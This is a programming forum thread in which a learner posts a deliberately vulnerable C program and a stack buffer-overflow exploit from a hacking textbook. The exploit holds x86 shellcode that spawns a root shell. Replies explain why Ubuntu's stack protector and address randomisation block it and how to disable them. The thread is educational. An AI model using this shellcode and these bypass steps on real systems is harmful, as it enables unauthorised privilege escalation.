Thread: *** stack smashing detected ***

  1. #1
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    *** stack smashing detected ***

    Hi,

    I'm trying to learn som C programming from this "Hacking" book by Jon Erickson and this code is taken from that book.

    Both programs compile error-free and there are no other problems.
    They are compiled with Gcc 4.1.2 on Ubuntu 4.1.1 (if it should matter.)

    The problem is when i try to run exploit. I get this message:

    Stack pointer (ESP) : 0xbf963908
    Offset from ESP : 0x0
    Desired return addr; 0xbf963908
    *** stack smashing detected ***: vuln terminated
    Aborted



    vuln.c:
    Code:
    int main(int argc, char *argv[])
    {
    	char buffer[500];
    	strcpy(buffer, argv[1]);
    	return 0;
    }


    exploit.c
    Code:
    #include <stdlib.h>
    
    
    
    char shellcode[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
    		   "\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
    		   "\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x72"
    		   "\x68";
    
    unsigned long sp(void)
    {__asm__("mov %esp, %eax");}
    
    int main(int argc, char *argv[])
    {
    	int i, offset;
    	long esp, ret, *addr_ptr;
    	char *buffer, *ptr;
    
    	offset = 0;
    	esp = sp();
    	ret = esp -offset;
    
    	printf("Stack pointer (ESP) : 0x%x\n", esp);
    	printf("     Offset from ESP : 0x%x\n", offset);
    	printf("Desired return addr: 0x%x\n", ret);
    
    	buffer = malloc(600);
    
    	ptr = buffer;
    	
    	addr_ptr = (long *) ptr;
    	for (i=0; i < 600; i+=4)
    		{ *(addr_ptr++) = ret; }
    
    	for (i=0; i < 200; i++)
    	
    	{buffer[i] = '\x90'; }
    		
    	
    	ptr = buffer + 200;
    	for(i=0; i < strlen(shellcode); i++)
    	{ *(ptr++) = shellcode[i]; }
    
    	buffer[600-1] = 0;
    
    	execl("./vuln","vuln", buffer, 0);
    
    	
    	free(buffer);
    
    	return(0);
    
    }

    I'm just a beginner to C soo i would appreciate any comments.

    - Martin

  2. #2
    Officially An Architect brewbuck's Avatar
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    Imagine that! The security features of Ubuntu are working properly to prevent this silly exploit from working! It's just UNBELIEVABLE!

  3. #3
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    RE:

    I guess it's just a silly exploit, but that's not the point.

    So you are saying it's a security feature in ubuntu...thanks for that.

    - Martin

  4. #4
    Registered User
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    Yeh Ubuntu is quite good in that respect. I've never seen the exact message you get, but I know that Ubuntu randomizes the location of the stack making it very hard for buffer overflows to be successful

    Edit:
    Its called the linux VA patch
    try this:
    echo 0 > /proc/sys/kernel/randomize_va_space

  5. #5
    Registered User
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    just try this exploit running on windows and it will work =). I tried to compile the code with Bloodshed GCC and all worked fine.

  6. #6
    Kernel hacker
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    Quote Originally Posted by isam2k View Post
    just try this exploit running on windows and it will work =). I tried to compile the code with Bloodshed GCC and all worked fine.
    Interesting - last time I checked, INT 0x80 wasn't really doing Linux style system calls when performed in Windows...

    --
    Mats
    Compilers can produce warnings - make the compiler programmers happy: Use them!
    Please don't PM me for help - and no, I don't do help over instant messengers.

  7. #7
    Registered User slingerland3g's Avatar
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    Nice! try running with the gcc option -fno-stack-protector, then you will see a seg fault of sorts with this code.

  8. #8
    spurious conceit MK27's Avatar
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    Quote Originally Posted by Martin_HS View Post
    Hi,

    I'm trying to learn som C programming from this "Hacking" book by Jon Erickson and this code is taken from that book.
    That is a terrific and really well written book. I started learning C with that book, altho I still haven't finished it. Is that from chapter 3?

    I didn't like using the cd either so I just compiled that version of gcc from source and called it "gcc336"*; I think that anti-smashing protection will only work with gcc 4+, so you should be able to do all the experiments. Also, all the gdb output will be identical to his, which makes stuff easier to follow than if you use a different compiler version.

    *so rather than "gcc myprog.c" you'd use "gcc336 myprog.c"
    Last edited by MK27; 05-28-2009 at 04:04 PM.
    C programming resources:
    GNU C Function and Macro Index -- glibc reference manual
    The C Book -- nice online learner guide
    Current ISO draft standard
    CCAN -- new CPAN like open source library repository
    3 (different) GNU debugger tutorials: #1 -- #2 -- #3
    cpwiki -- our wiki on sourceforge

  9. #9
    Registered User slingerland3g's Avatar
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  10. #10
    Registered User ch4's Avatar
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    Yesterday i got the same message
    Not too rarely finally.

    Ubuntu 8.10

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